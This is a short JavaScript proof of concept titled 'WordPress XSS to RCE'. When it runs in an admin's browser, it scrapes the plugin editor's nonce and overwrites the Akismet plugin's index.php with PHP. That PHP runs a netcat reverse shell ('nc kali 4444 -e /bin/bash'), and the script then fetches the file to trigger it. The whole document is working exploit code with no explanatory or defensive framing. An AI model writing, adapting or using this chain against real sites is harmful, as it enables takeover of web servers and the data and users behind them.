WordPress XSS to RCE

poc.js

u = "/wp-admin/plugin-editor.php"
p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php"
var x = new XMLHttpRequest();
var r=0
x.open('GET',u+"?"+ p,1);
x.send(null);

x.onreadystatechange = function() {
    if (x.readyState === 4 && r != 1) {
	n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1]
	x.open("POST", u, 1)
	x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	x.send(p + "&nonce="  + n + "&newcontent=%3C%3Fphp%20exec%28%27nc%20kali%204444%20-e%20%2Fbin%2Fbash%27%29%3B%20%3F%3E&action=edit-theme-plugin-file")
	r = 1
    } else {
	fetch('/wp-content/plugins/akismet/index.php')
    }
}